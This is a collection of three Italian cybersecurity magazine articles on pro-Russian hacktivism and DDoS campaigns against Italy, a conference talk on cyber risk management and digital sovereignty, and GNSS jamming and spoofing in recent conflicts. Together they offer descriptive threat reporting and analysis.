C’è un numero che, più di ogni altro, racconta la singolarità italiana nel panorama globale della cybersicurezza: 54%. È la quota degli attacchi informatici registrati in Italia nel primo semestre del 2025 attribuiti all’hacktivism. Nel resto del mondo, quella stessa categoria pesa appena l’8%. Non si tratta di un errore statistico, né di una distorsione metodologica. È la fotografia di un Paese che ha sviluppato, suo malgrado, una relazione del tutto peculiare con una delle minacce più sottovalutate dell’era digitale.

Un’anomalia che i numeri rendono impossibile ignorare

Nel primo semestre 2025 si contano 280 incidenti informatici gravi in Italia, su un totale mondiale di 2.755: il 10,2% del totale globale. Una quota sproporzionata rispetto a qualsiasi indicatore demografico o economico del Paese. La traiettoria è inequivocabile: si è passati dal 3,4% del 2021 al 7,6% del 2022, fino al 9,9% del 2024 e all’attuale 10,2%. Un’escalation costante che nessuna contingenza episodica può spiegare da sola.

Il paradosso più stridente è strutturale: in Italia gli attacchi classificati come hacktivism rappresentano il 54% del totale, mentre il cybercrime “tradizionale” si ferma al 46%. Nel resto del mondo il rapporto è esattamente invertito: il cybercrime vale l’87% degli incidenti, l’hacktivism appena l’8%. L’Italia è letteralmente l’unico grande Paese occidentale in cui la politica batte il profitto come motore degli attacchi informatici.

Che cosa si intende per hacktivism e perché è cambiato tutto

L’hacktivism non è una novità. Il termine descrive l’utilizzo di tecniche informatiche per promuovere cause politiche o sociali, ed è almeno dai tempi di Anonymous, collettivo internazionale decentralizzato fondato nel 2003, che questa forma di attivismo digitale occupa le cronache. Ma ciò che un tempo era rappresentato quasi esclusivamente da Anonymous ha ripreso vigore con le azioni dimostrative portate avanti da molti gruppi filo-russi come NoName057, tornati in primo piano con i conflitti in corso.

Il cambiamento qualitativo è profondo. L’hacktivism modifica le regole del gioco proprio perché riduce ai minimi termini i margini di negoziazione con gli attaccanti, che agiscono senza logiche di profitto e per i quali non esiste un prezzo da pagare per ottenere la cessazione dell’attività ostile. Se il ransomware ha sempre una geometria contrattuale (paghi e forse riotieni l’accesso), l’hacktivism punta alla visibilità, non al denaro. Non c’è riscatto. C’è solo il messaggio.

Il protagonista: NoName057(16) e la guerra ibrida contro l’Italia

Il collettivo che più di ogni altro ha trasformato l’Italia in un bersaglio è NoName057(16). Nato nel marzo 2022, il gruppo è il threat actor hacktivista più prolifico al mondo secondo Radware: nel 2024 ha rivendicato 4.767 attacchi DDoS, distaccando nettamente tutti gli altri collettivi (il secondo classificato, RipperSec, si è fermato a 1.388 attacchi). Secondo i dati di Yarix (Var Group), che ha mappato 97 gruppi hacktivisti globali nel 2024, NoName057 ha totalizzato oltre il 55% degli attacchi nei settori Energia & Utility, Sanità, Banca & Finanza e Trasporti & Logistica.

Il meccanismo operativo è semplice nella forma ma efficace nell’impatto: effettua prevalentemente attacchi dimostrativi di tipo DDoS, che poi rivendica con messaggi sul proprio canale Telegram, sfruttando le risorse computazionali altrui per dirigere attacchi contro organizzazioni occidentali e campagne di comunicazione per diffondere le proprie attività attraverso i social.

La logica di targeting è dichiarata e di cristallina semplicità geopolitica. Ogni dichiarazione pubblica di un esponente istituzionale italiano a sostegno dell’Ucraina diventa il pretesto per una nuova campagna. A marzo 2023, dopo che la premier Meloni aveva confermato il supporto di Roma a Kiev, NoName057 aveva preso di mira il sito del governo, della Camera e dei ministeri di Difesa, Esteri e Trasporti, oltre ad Atac, Atm e l’aeroporto di Bologna, pubblicando sul canale Telegram: “I nostri missili DDoS per i siti russofobi italiani sono maturi.”

Il 5 febbraio 2025, durante una cerimonia all’Università di Aix-Marseille, il Presidente Mattarella aveva paragonato l’aggressione russa all’Ucraina all’espansionismo del Terzo Reich. La portavoce del ministero degli Esteri russo, Maria Zakharova, aveva promesso “conseguenze.” Le conseguenze arrivarono puntuali: a partire dal 17 febbraio l’Italia subì oltre dodici giorni consecutivi di attacchi contro le proprie infrastrutture digitali. Tra i bersagli colpiti figuravano Intesa Sanpaolo, Banca Monte dei Paschi di Siena, gli aeroporti di Milano Malpensa e Linate, diverse compagnie di trasporto pubblico locale, i porti di Taranto, Trieste e Genova, per poi estendersi a ministeri, forze dell’ordine, regioni, comuni e aziende strategiche come Leonardo, Banca d’Italia ed Edison.

Il salto di qualità più recente è ancora più preoccupante: NoName057 ha aperto un canale Telegram in lingua italiana, pubblicando notizie politiche selezionate come esempi di “ostilità verso la Russia.” Questo segna un’espansione della campagna di propaganda che ora punta direttamente a reclutare seguaci in Italia, non solo a colpirla.

Le vittime preferite: istituzioni pubbliche e infrastrutture critiche

Nel primo semestre del 2025 la categoria più colpita in Italia è stata quella governativa, militare e delle forze dell’ordine, con il 38% del totale degli incidenti: un dato che rappresenta il 279% del totale degli eventi avvenuti in tutto il 2024 verso questo settore, con una crescita del 600% rispetto allo stesso periodo dell’anno precedente. Un incremento che non ha eguali in nessun altro comparto.

Quasi quattro attacchi su dieci in Italia hanno colpito enti governativi, forze dell’ordine o strutture militari. Un segnale chiaro che la nostra infrastruttura pubblica è percepita come vulnerabile e, quindi, appetibile.

Al secondo posto per tipologia di vittime si trova il settore trasporti e logistica, con il 17% degli incidenti: in soli sei mesi una volta e mezzo il totale degli incidenti cyber avvenuti nell’intero 2024. Non è casuale: colpire mobilità e filiere logistiche significa moltiplicare l’impatto sociale e mediatico degli attacchi, trasformando un evento tecnico in un fatto politico percepibile dai cittadini.

La tecnica: il DDoS come arma politica

La tecnica prevalente negli incidenti in Italia nel primo semestre del 2025 è stata il DDoS, con un peso del 54%, a fronte del 9% rilevato a livello globale. Il dato tecnico è inseparabile da quello politico: il DDoS è la forma d’attacco preferita degli hacktivist perché è visibile, economicamente accessibile, scalabile tramite reti di volontari e soprattutto comunicativamente efficace.

Strumenti come DDoSia, sviluppato dallo stesso NoName057, consentono agli utenti di unire la potenza computazionale dei propri dispositivi per colpire un obiettivo comune, rendendo l’attacco accessibile a un pubblico ampio e motivato ideologicamente.

L’Italia però non è solo bersaglio passivo. Anonymous Italia ha risposto alle campagne di NoName057 con operazioni di defacement contro siti web russi, inserendo messaggi come “Abbiamo hackerato il tuo sito per combattere la guerra ingiusta di invasione dell’Ucraina,” trasformando il cyberspazio italiano in un teatro attivo del conflitto digitale.

La “stranezza” italiana: perché gli attacchi fanno meno danni, ma arrivano a segno di più

C’è una contraddizione apparente nei dati che merita attenzione critica. In Italia la quota di incidenti con gravità “critica” è del 7%, contro il 29% nel mondo; quelli con impatto “medio” rappresentano il 60% del totale, contro il 18% globale. Sembrerebbe una buona notizia: gli attacchi che subisce l’Italia sono meno devastanti. Ma il Clusit invita a non fraintendere.

Il fatto che il report consideri solo gli attacchi andati a segno lascia un’impressione inquietante: in Italia si va in sofferenza di fronte ad attacchi DDoS che altri Paesi riescono a gestire con relativa tranquillità. La bassa severità non è indice di buona difesa: è indice della tipologia di attacco. Un DDoS che rende inaccessibile per ore il sito di un ministero non ruba dati, ma è andato comunque a segno. E il fatto che accada così spesso, in un Paese del G7, è in sé un problema strutturale.

Oltre la Russia: il panorama degli hacktivist in evoluzione

Sarebbe riduttivo limitare l’analisi al solo vettore filorusso. Il team di Cyber Intelligence di Yarix ha censito 97 gruppi hacktivisti attivi a livello globale nel 2024, di cui NoName057 è il più attivo, responsabile di oltre il 55% degli attacchi nei settori energia, sanità, banca, finanza e trasporti.

Il fenomeno si sta però stratificando. Collettivi come GlorySec, che dichiara fedeltà ai valori occidentali e si definisce “anarco-capitalista,” o SiegedSec, sciolto nel luglio 2024 ammettendo il crimine informatico, mostrano come l’hacktivism sia ormai uno spazio ideologicamente plurale, dove convivono agende politiche opposte. La competizione non è più solo tra hacktivisti filo-russi e filo-ucraini: è uno spazio caotico in cui si mescolano propaganda statale, ideologie radicali e semplice opportunismo mediatico.

L’ENISA, nel suo rapporto sul periodo luglio 2024-giugno 2025, ha registrato 4.875 incidenti nell’Unione Europea, di cui il 76,7% classificato come DDoS, in larghissima parte attribuibile ad hacktivisti.

La risposta istituzionale: l’ACN e i limiti del sistema

L’Agenzia per la Cybersicurezza Nazionale (ACN) è intervenuta sistematicamente per coordinare le operazioni di mitigazione, avvisare le strutture coinvolte e offrire supporto tecnico durante le campagne di attacco. La risposta operativa include il monitoraggio del traffico anomalo, l’avvio di procedure di mitigazione e la coordinazione con le agenzie di sicurezza partner.

Sul fronte degli eventi internazionali, qualche segnale di miglioramento è emerso: in febbraio 2026, un tentativo coordinato di attacco contro i siti della Farnesina e dell’ecosistema digitale di Milano-Cortina 2026 è stato individuato e neutralizzato in fase preventiva, senza sottrazione di dati sensibili, grazie al rafforzamento delle strutture interne di sicurezza.

Ma la sfida rimane strutturale. Nel 2025 i casi trattati dalla Polizia Postale hanno raggiunto quota 51.560, con 9.250 casistiche specifiche di attacchi informatici e oltre 49.000 alert diramati per prevenire minacce ai sistemi di interesse nazionale. Un numero che dà la misura non solo della gravità del fenomeno, ma anche del carico operativo che grava su strutture che devono ancora completare la propria transizione verso una postura di sicurezza adeguata alla minaccia attuale.

Perché l’Italia è un’anomalia e cosa ci dice del futuro

L’Italia è un’anomalia globale nell’hacktivism per una convergenza di fattori che non sono accidentali. Il posizionamento geopolitico, membro NATO, sostenitore della causa ucraina, Paese con un ruolo attivo nel dibattito europeo sulla sicurezza, la rende un bersaglio ideologicamente “meritevole” agli occhi dei collettivi filorussi. Il profilo istituzionale, con siti governativi, militari e di pubblica utilità spesso sottodimensionati sul fronte della difesa informatica rispetto ai loro omologhi nordeuropei, la rende un bersaglio tecnicamente accessibile. La vivacità mediatica del sistema politico, con dichiarazioni pubbliche che si traducono in casus belli digitali nel giro di ore, la rende un bersaglio narrativamente efficace.

Come analizzato in dettaglio nell’approfondimento di ICT Security Magazine sulla cybercrisi italiana del 2025, non sono gli attacchi sofisticati a mettere in ginocchio l’Italia, ma quelli più “semplici” e rumorosi, che altrove vengono neutralizzati prima di fare notizia. È questa la vera anomalia: non la complessità delle minacce che affrontiamo, ma la facilità con cui minacce relativamente elementari trovano il modo di colpire.

La vera resilienza non si acquisisce con la tecnologia, ma si costruisce giorno dopo giorno con competenze, processi e cultura. La sicurezza cibernetica non è un prodotto che si acquista, ma un processo continuo di adattamento. Un processo che l’Italia, stando ai numeri, non ha ancora completato e che le sfide geopolitiche dei prossimi anni renderanno sempre più urgente.

https://www.ictsecuritymagazine.com/articoli/hacktivism-in-italia/

Dall’intervento di Luca Bonora, Cybersecurity Evangelist di Cyberoo, alla 14ª Cyber Crime Conference (Roma, 6 maggio 2026)

Stratificare soluzioni, accumulare dashboard, ampliare il perimetro tecnologico senza rivedere le priorità: è il rischio operativo che molte organizzazioni continuano a correre nel 2026, mentre la velocità degli attacchi si misura ormai in minuti e la superficie esposta cresce a ogni nuova integrazione. Nel suo intervento alla 14ª Cyber Crime Conference, Luca Bonora, Cybersecurity Evangelist di Cyberoo, ha proposto un cambio di prospettiva: smettere di sommare strumenti e ricominciare a chiedersi se ogni investimento contribuisca realmente ad abbassare il rischio. Una riflessione che intreccia gestione del rischio, sovranità digitale e resilienza operativa, con il riferimento metodologico all’Osservatorio Cyberoo 2026.

Strategia cyber: scegliere cosa non fare

«L’essenza della strategia è scegliere cosa non fare»: la citazione di Michael Porter apre il ragionamento di Bonora sul paradosso che caratterizza molte funzioni di sicurezza. Aggiungere strati di protezione, accumulare prodotti che generano alert e falsi positivi non guardati, non solo non rafforza la postura difensiva, ma sottrae tempo e budget ad attività realmente efficaci. La domanda di fondo, ribadita più volte durante l’intervento, è semplice: sto investendo dove serve davvero per ridurre il rischio?

La gestione del rischio è in primo luogo un esercizio di priorità: definire cosa proteggere davvero, perché e con quale precedenza. Una formula utile per inquadrare il problema è Rischio = Probabilità × Impatto, dove la probabilità è funzione di minacce e vulnerabilità, e l’impatto è modulato dalla capacità di risposta dell’organizzazione. Il principio operativo che ne deriva, sottolinea Bonora, è netto: l’obiettivo non è zero attacchi, ma zero incidenti gravi.

In questa equazione, vulnerabilità e minacce hanno nature diverse. Le vulnerabilità dipendono dai software, dai prodotti e dalle scelte tecnologiche, e una volta identificate possono essere gestite in modo relativamente standardizzato. Le minacce, invece, dipendono interamente dal business di ciascuna organizzazione: non esistono minacce universali, esistono minacce contestuali. La capacità di risposta, infine, è ciò che determina se un attacco riuscito diventa un incidente grave o un evento contenuto: e qui la finestra temporale a disposizione è drasticamente più stretta di un tempo. «Una volta avrei detto che gli attacchi compromettono un’azienda in settimane o mesi», ha osservato Bonora. «Oggi parliamo di minuti».

La matrice di Rumsfeld applicata alla gestione del rischio cyber

Per orientare l’analisi del rischio, Bonora richiama la celebre matrice attribuita a Donald Rumsfeld, che incrocia ciò che si conosce con ciò che non si conosce. Applicata alla cybersecurity, la matrice produce quattro quadranti.

I known/known sono i rischi e le informazioni già identificati e misurabili: processi formalizzati, CVE note al proprio vendor di riferimento, asset censiti. I known/unknown sono rischi riconosciuti ma non ancora quantificati: il sistema legacy non aggiornabile, l’ambito industriale di produzione che non si può patchare perché il fornitore ha chiuso. Riconoscerli significa già fare un passo avanti, perché consente di costruire intorno a quegli asset una bubble di contenimento e di pianificare il budget per la sostituzione.

I quadranti più scomodi sono gli unknown/known e gli unknown/unknown. I primi sono informazioni disponibili che però non vengono usate nei processi decisionali: un segnale debole già presente nei log, un alert del fornitore non integrato nelle valutazioni o i bias indirizzati dalla storia dell’azienda e dei limiti di consapevolezza in azienda. I secondi sono i rischi fuori dal modello mentale o dal perimetro di osservazione: nuovi vettori di attacco, tecniche emergenti, compromissioni che non rientrano nei modelli di minaccia conosciuti. È su questo quadrante che si gioca la capacità di reazione: non potendo prevedere a priori gli eventi, l’organizzazione deve dotarsi di processi, servizi e soluzioni che le permettano di rispondere nel qui e ora.

Il puzzle del rischio: sei tessere per il 2026

Su queste basi metodologiche, Bonora propone una metafora ricorrente nei materiali Cyberoo: il puzzle del rischio. Ogni organizzazione deve costruire il proprio, evitando l’errore di credere di stare componendo l’immagine giusta quando si stanno in realtà incastrando i pezzi sbagliati. Le tessere da considerare nel 2026 sono sei: sovranità digitale, intelligenza artificiale, persone e awareness, Industrial OT, supply chain, consumo energetico. Ognuna corrisponde a un asse di rischio, e ognuna chiama una risposta operativa specifica.

Sovranità digitale: indipendenza, competitività, innovazione

La prima tessera è la sovranità digitale, tema che il contesto geopolitico attuale ha riportato al centro dell’agenda. Il vero rischio, sottolinea Bonora, non è astratto: è perdere il controllo operativo di identità, dati e servizi, anche quando questi risiedono in cloud. Le domande da porsi sono operative: adottando una determinata soluzione, da quale vendor dipendo? È italiano, europeo, extra UE?

Se quel fornitore venisse compromesso, o se decisioni politiche al di fuori del nostro perimetro normativo ne modificassero unilateralmente le condizioni d’uso, che impatto avrebbe sul business e sui dati? In uno scenario in cui le geometrie politiche internazionali possono cambiare rapidamente, e in cui Italia ed Europa hanno faticato per costruire un impianto normativo coerente (GDPR, NIS2, DORA), queste domande non sono più accademiche.

La sovranità digitale, nella lettura di Cyberoo, poggia su tre pilastri: indipendenza, competitività, innovazione. Non è isolamento, è controllo consapevole del rischio. Pilastri che non si costruiscono da soli, ma mettendo in rete capacità europee già esistenti: chi sviluppa cloud europeo, chi sviluppa cybersecurity europea, chi produce componentistica industriale. È un percorso collettivo, che richiede anche scelte di filiera consapevoli da parte dei singoli acquirenti.

Intelligenza artificiale: agenti e attacchi AI

La seconda tessera è l’intelligenza artificiale, che oggi va affrontata su due fronti convergenti. La minaccia non è solo l’AI che potenzia gli attacchi, è anche quella degli agenti che operano in autonomia, sia che vengano usati contro l’organizzazione sia che vengano dispiegati al suo interno senza regole adeguate.

Sul piano esterno, l’AI è un moltiplicatore di efficacia per il cybercrime. Gli LLM commerciali rifiutano richieste esplicitamente offensive, ma esistono tecniche documentate per aggirare questi guardrail, e l’industria criminale è particolarmente abile nel farlo. Se l’attacco diventa più veloce e più performante grazie all’AI, anche la difesa deve dotarsi di strumenti altrettanto rapidi: «se siamo un pelo meno performanti, siamo fuori».

Sul piano interno, la tentazione opposta è la rimozione: vietare l’uso dell’AI in azienda nella convinzione di aver risolto il problema. È un’illusione, perché i dipendenti la usano comunque, anche solo nelle ricerche su Google mediate da Gemini. La strada operativa è la governance: regolamentare quali LLM siano ammessi, quali agenti possano essere configurati, e soprattutto educare i colleghi alle impostazioni di base dei client, a partire dalla disattivazione dell’apprendimento sui dati immessi.

Bonora richiama con forza il principio dello human in the loop: gli agenti possono compiere operazioni con velocità ed efficienza ineguagliabili, ma la decisione sull’applicabilità del loro output deve restare in capo a una persona, sia per ragioni di qualità sia per contenere il rischio di compromissioni che, attraverso l’agente, possano propagarsi all’intera infrastruttura.

Persone e awareness: comportamenti, non utenti

La terza tessera è il fattore umano, e qui Bonora prende posizione con nettezza contro un luogo comune ricorrente: «sono stanco di sentirmi dire che il problema sta tra la tastiera e la sedia». Il rischio non è l’utente, sono i comportamenti non allenati: sotto pressione il cervello semplifica, si affida e sbaglia. È un meccanismo cognitivo, non una colpa individuale, e va affrontato come tale.

L’analogia operativa è quella del firewall: un dispositivo tecnologico viene aggiornato, configurato, patchato e monitorato nel tempo, mentre lo stesso processo raramente viene applicato al “primo e più diffuso firewall aziendale: l’uomo”. La formazione tradizionale, con sessioni in aula e moduli compliance-driven, produce risultati limitati: «partono zucchine e arrivano cetrioli», nota Bonora a proposito della varianza con cui ciascun ascoltatore interpreta lo stesso messaggio. La strada operativa è quella delle piattaforme di security awareness basate sulle scienze cognitive, progettate per modificare il comportamento e non semplicemente per trasferire nozioni.

Industrial OT: nessun margine, impatti fisici

La quarta tessera riguarda l’ambito industriale e Operational Technology. L’OT non ha margini: una debolezza può generare impatti fisici, fermi produttivi e recovery complesse, con costi che superano di gran lunga quelli tipici di un incidente IT. Anche le organizzazioni con sola componente IT non possono ignorare il tema: dove esista produzione industriale, la separazione tra responsabili IT e responsabili di produzione produce spesso zone grigie in cui un firewall perimetrale viene scambiato per una soluzione completa. La realtà operativa è diversa: la VPN di un manutentore, l’accesso a un armadio di rete, una macchina utensile connessa possono diventare il punto di ingresso verso l’intera infrastruttura.

NIS2 e Regolamento Macchine obbligano oggi a valutare il rischio in ambito industriale con la stessa serietà con cui lo si valuta in ambito IT, fermo restando che l’approccio non può essere identico: la continuità operativa è prioritaria, e qualunque misura deve essere progettata per non interromperla. Isolamento e controllo, in questa logica, sono le parole d’ordine.

Supply chain: il rischio ereditato

La quinta tessera è la supply chain, definita da Bonora con un’espressione efficace: la vulnerabilità di un partner diventa immediatamente la propria, è rischio ereditato. Un dato dell’Osservatorio Cyberoo 2026 viene proposto come riferimento: oltre 2.700 CVE univoche individuate nel 2025 sui fornitori monitorati. Una superficie di esposizione che si propaga lungo la catena di fornitura e che oggi nessun perimetro interno può contenere da solo.

La proposta operativa è di tradurre l’attenzione alla supply chain in clausole contrattuali e in audit di terze parti. Nessuna norma lo impone in modo esplicito al di fuori degli obblighi previsti da NIS2 e DORA, ma scrivere a contratto cosa il fornitore farà per mantenere bassa la propria esposizione, e quali informazioni dovrà comunicare in caso di nuove CVE critiche, sposta il presidio dal post mortem alla prevenzione. Costo aggiuntivo: zero. Beneficio: la consapevolezza necessaria per fare scelte operative tempestive.

Consumo energetico: capacità quando serve

La sesta tessera è apparentemente la più distante dalla cybersecurity, ma chiude il cerchio aperto dalla prima. Più potenza digitale richiede più energia, e il rischio è restare senza capacità quando serve. Il consumo energetico degli ambienti IT, dei data center e soprattutto dei carichi AI è diventato un tema strutturale: lasciare agli utenti l’uso illimitato di token su modelli generativi può comportare costi operativi rilevanti, e l’energia necessaria a far girare agenti AI all’interno delle infrastrutture aziendali pesa ormai quanto la bolletta software. L’ottimizzazione dei consumi digitali è una leva di resilienza, oltre che di sostenibilità: la sovranità digitale, ha ricordato Bonora, passa anche attraverso la sovranità energetica.

Compliance 2026: una timeline da presidiare

Le sei tessere del puzzle si incastrano in un contesto regolatorio particolarmente denso nel 2026. Bonora richiama quattro scadenze chiave. Il 2 agosto 2026 entra in piena applicazione l’AI Act per i sistemi ad alto rischio, con obblighi di requisiti e trasparenza. L’11 settembre 2026 scatta l’obbligo di notifica delle vulnerabilità entro 24 ore previsto dal Cyber Resilience Act, applicabile anche ai prodotti già in commercio.

Il 31 ottobre 2026 è il termine per le misure di sicurezza minime della Direttiva NIS2, con governance, risk management e controlli che devono essere pienamente operativi. A questi si aggiunge il Regolamento DORA, con testing e controlli ICT estesi ai fornitori critici e un reporting rafforzato. Una griglia di adempimenti che, se affrontata con la testa di chi vuole davvero abbassare il rischio (e non solo barrare caselle), diventa un acceleratore della trasformazione e non una zavorra.

Ridurre il rischio 2026: sei risposte operative

Alle sei tessere del puzzle Bonora associa altrettante risposte operative, che compongono insieme una roadmap di mitigazione: autonomia e indipendenza europea sulla dimensione della sovranità digitale; agenti e regolamenti interni definiti per governare l’AI in azienda; training sui comportamenti di sicurezza per le persone; isolamento e controllo per l’OT industriale; trasparenza e audit di terze parti per la supply chain; ottimizzazione dei consumi digitali sul fronte energetico.

Sei pezzi che si incastrano l’uno con l’altro: la sostituzione di uno con uno generico (l’ennesima soluzione tecnologica acquistata «perché serve») rompe il disegno complessivo.

Vincere insieme: ricomporre il puzzle, non aggiungere strati

Il messaggio conclusivo è netto: «oggi non vince chi aggiunge strati, ma chi sa ricomporre il puzzle del rischio riducendo davvero l’esposizione». Ogni azienda costruisce un puzzle diverso, perché le minacce dipendono dal business e i pezzi vanno incastrati uno per uno. Cyberoo, definita dal mercato «la boutique della cybersecurity», si posiziona come vendor italiano con un approccio sartoriale alla difesa operativa. L’Osservatorio Cyberoo 2026, citato più volte durante l’intervento, raccoglie i dati e gli spunti di ragionamento sui quali questo approccio si fonda.

Resta, oltre le tessere e gli strumenti, l’invito che chiude l’intervento: smettere di stratificare, ricominciare a scegliere, costruire il puzzle giusto.

Cyberoo è stato Platinum Sponsor della 14ª edizione della Cyber Crime Conference.

https://www.ictsecuritymagazine.com/articoli/sovranita-digitale-cyberoo/

Dal Medio Oriente al Mar Baltico, il fenomeno del GPS Spoofing e dei sistemi GNSS sono diventati campo di battaglia digitale. Ecco cosa sta succedendo e perché nessun settore può ancora dirsi al sicuro.

Un segnale fragile che muove il mondo

C’è qualcosa di paradossale nel modo in cui la civiltà tecnologica ha costruito la propria dipendenza da un segnale radio che percorre oltre 20.000 chilometri di spazio vuoto prima di raggiungere un ricevitore. I sistemi GNSS (Global Navigation Satellite Systems), di cui il GPS americano è il più noto, trasmettono un impulso tenue, debolissimo, che nel momento in cui raggiunge la superficie terrestre ha una potenza appena superiore al rumore di fondo. È quella fragilità fisica, intrinseca e difficilmente risolvibile senza riprogettare l’intera architettura delle costellazioni satellitari, la radice di una vulnerabilità che ha smesso da tempo di essere teorica.

Nel 2026, il problema è diventato strutturale. Non si tratta più di incidenti isolati in zone di conflitto: si tratta di una minaccia che ridisegna la sicurezza dell’aviazione civile, del trasporto marittimo, della logistica globale e, in modo sempre più preoccupante, delle infrastrutture critiche di interi Paesi.

Jamming e spoofing: due armi, un’unica vulnerabilità

Prima di analizzare la portata del fenomeno è necessario distinguere due tecniche che vengono spesso confuse ma che differiscono significativamente nei meccanismi e nell’impatto operativo.

Il jamming è la forma più elementare di attacco: un trasmettitore al suolo emette segnali radio sulla stessa frequenza del GNSS, saturando il ricevitore e privandolo di qualsiasi capacità di calcolo posizionale. L’effetto è immediato e riconoscibile (il sistema smette semplicemente di funzionare), ma è anche relativamente rilevabile. Il problema è che «rilevabile» non significa «contrastabile», specialmente a bordo di un aeromobile in fase di avvicinamento o di una nave in transito in acque ristrette.

Lo spoofing è tecnicamente più sofisticato e operativamente più insidioso. L’attaccante non blocca il segnale: lo sostituisce. Trasmette segnali falsificati che imitano quelli autentici delle costellazioni satellitari, inducendo il ricevitore a calcolare una posizione errata senza che l’operatore riceva alcun allarme esplicito. L’aereo pensa di trovarsi dove non è. La nave traccia una rotta verso un porto fantasma. Il veicolo commerciale consegna il proprio carico alle coordinate sbagliate. Sulle mappe AIS (Automatic Identification System), l’effetto è spesso identificabile a posteriori: navi che sembrano muoversi in perfetti cerchi geometrici, i cosiddetti crop circles, oppure che risultano posizionate su aeroporti e centrali nucleari a centinaia di miglia dal loro percorso effettivo.

Come approfondito in una nostra analisi dedicata alle vulnerabilità AIS e GPS nei sistemi navali, la convergenza tra sistemi di navigazione e infrastrutture digitali di bordo crea superfici d’attacco che i progettisti di vent’anni fa non avrebbero potuto immaginare.

La mappa del caos: scenari verificati, dati aggiornati

I dati del 2025-2026 descrivono un’escalation senza precedenti. Secondo il Rapporto Annuale sulla Sicurezza 2025 dell’IATA, pubblicato il 9 marzo 2026, gli eventi di jamming registrati nel 2025 sono aumentati del 67% rispetto al 2023, mentre gli incidenti di spoofing GPS sono cresciuti del 193%. Si tratta di due fenomeni distinti, con due traiettorie di crescita separate, entrambe allarmanti. Willie Walsh, Direttore Generale IATA, ha definito queste pratiche «inaccettabili e irresponsabili», chiedendo ai governi di intervenire immediatamente. A livello globale, i servizi di monitoraggio open source come SkAI Data Services stimavano per il 2025 circa 1.000 eventi di interferenza GNSS al giorno a livello mondiale, in aumento rispetto ai circa 700 giornalieri del 2024.

Il Medio Oriente: due conflitti, un banco di prova permanente

La Guerra dei Dodici Giorni (giugno 2025)

Il 13 giugno 2025, con una serie di attacchi aerei su infrastrutture nucleari e basi militari iraniane, Israele ha avviato quello che Donald Trump avrebbe poi ribattezzato Twelve-Day War, conclusosi con un cessate il fuoco il 23 giugno 2025. L’Iran ha risposto attivando sistematicamente il jamming GPS su vaste aree metropolitane con la finalità dichiarata, confermata dallo stesso Vice Ministro delle Comunicazioni iraniano Ehsan Chitsaz al quotidiano Ham-Mihan, di neutralizzare i droni e i missili a guida satellitare: «Alcune delle perturbazioni al sistema GPS originano dall’interno del Paese per finalità militari e di sicurezza».

Durante i dodici giorni di conflitto, il Maritime Information Cooperation and Awareness Center ha stimato che circa 970 navi al giorno hanno subito interferenze GPS nello Stretto di Hormuz, con una riduzione del traffico di circa il 20% mentre le imbarcazioni limitavano i transiti alle ore diurne. Windward AI ha documentato oltre 3.000 navi disturbate nel Golfo Persico e nello Stretto di Hormuz nell’arco di meno di due settimane.

Le conseguenze operative hanno raggiunto un punto critico il 17 giugno 2025, quando la petroliera VLCC Front Eagle, battente bandiera liberiana e carica di circa 2 milioni di barili di greggio diretto in Cina, ha colliso con la petroliera Suezmax Adalynn circa 25 miglia nautiche a nordest di Khor Fakkan, negli Emirati Arabi Uniti. Le analisi dei dati AIS di Windward mostravano che la Front Eagle aveva subito interferenze elettroniche persistenti nelle ore precedenti, con il tracciamento che la posizionava erroneamente in territorio iraniano.

Entrambe le navi hanno preso fuoco; l’equipaggio dell’Adalynn (24 persone) è stato evacuato dalla guardia costiera degli Emirati. È la prima collisione tra petroliere in cui l’interferenza GNSS è stata formalmente identificata come probabile fattore contributivo.

Un’altra conseguenza diretta del conflitto: il 23 giugno 2025, nello stesso giorno del cessate il fuoco, l’Iran ha formalmente disattivato la ricezione GPS a livello nazionale, completando la transizione al sistema satellitare cinese BeiDou, costruita su una cooperazione sino-iraniana avviata nel 2015 e formalizzata con la Partnership Strategica Complessiva del 2021. È la prima volta che uno Stato sovrano abbandona formalmente il GPS civile in favore di un’alternativa geopoliticamente antagonista.

Operazione Epic Fury (febbraio 2026, conflitto in corso)

Il 28 febbraio 2026, alle 1:15 ora locale, gli Stati Uniti e Israele hanno avviato l’Operazione Epic Fury, denominata israeliana Operation Roaring Lion, con attacchi su infrastrutture nucleari, militari e di comando iraniane. Il conflitto è tuttora in corso al momento della stesura di questo articolo e ha prodotto l’escalation di interferenza GNSS più massiccia mai documentata.

Nelle prime 24 ore dall’avvio dei bombardamenti, Windward ha rilevato oltre 1.100 navi con sistemi di navigazione compromessi nelle acque del Golfo Persico, del Golfo dell’Oman e dei mari di UAE, Qatar e Oman, riposizionate erroneamente su aeroporti, sulla centrale nucleare di Barakah e su terre iraniane. Windward ha identificato almeno 21 nuovi cluster di jamming AIS nella prima giornata, saliti a 38 nelle 24 ore successive.

Secondo i dati di Lloyd’s List Intelligence, tra l’inizio del conflitto e il 3 marzo 2026 sono stati registrati 1.735 eventi di interferenza GPS che hanno coinvolto 655 navi, ciascuno con una durata media di tre o quattro ore. Gli incidenti giornalieri sono più che raddoppiati, passando da 350 alla vigilia del conflitto a 672 entro il 2 marzo 2026.

Maersk ha annunciato il dirottamento di alcune rotte lontano dalla regione, citando la sicurezza di equipaggio e carico. I premi assicurativi marittimi in alcuni mercati asiatici sono aumentati del 15-30%, mentre i noli per i percorsi Golfo-Cina hanno registrato rincari nell’ordine del 24% nell’immediato avvio delle operazioni.

Anche in questo conflitto, come nel precedente, le interferenze GNSS non hanno risparmiato i sistemi di connettività. Nel gennaio 2026, prima dell’Operazione Epic Fury, durante le proteste interne in Iran, i terminali Starlink nella regione sono stati colpiti da interferenza elettronica, documentata dalla Secure World Foundation nel report Global Counterspace Capabilities 2026, con perdite di pacchetti tra il 30 e l’80% nelle aree interessate. SpaceX ha rilasciato un aggiornamento software correttivo e ha attivato servizi gratuiti per gli utenti iraniani. I sistemi di guerra elettronica impiegati erano gli jammer russi Murmansk-BN, sistemi mobili con copertura fino a circa 300 km di raggio.

Il Mar Baltico: guerra ibrida ai confini d’Europa

Se il Medio Oriente è il teatro delle interferenze più acute, il Mar Baltico è quello delle più sistematiche. Uno studio peer-reviewed pubblicato nel marzo 2026 su GPS Solutions (Springer Nature), a firma di Gattis, Cydejko e Akos, condotto a bordo della nave da ricerca Imor nei pressi della costa polacca, ha localizzato con tecnica TDOA (Time Difference of Arrival) un emettitore di spoofing circolare e un jammer separato, attivi tra aprile e giugno 2025 nel Golfo di Danzica. L’area di Kaliningrad, exclave russa incuneata tra Polonia e Lituania, è il nodo operativo centrale di questa attività, confermata da ricercatori indipendenti, autorità nazionali e monitoraggio satellitare.

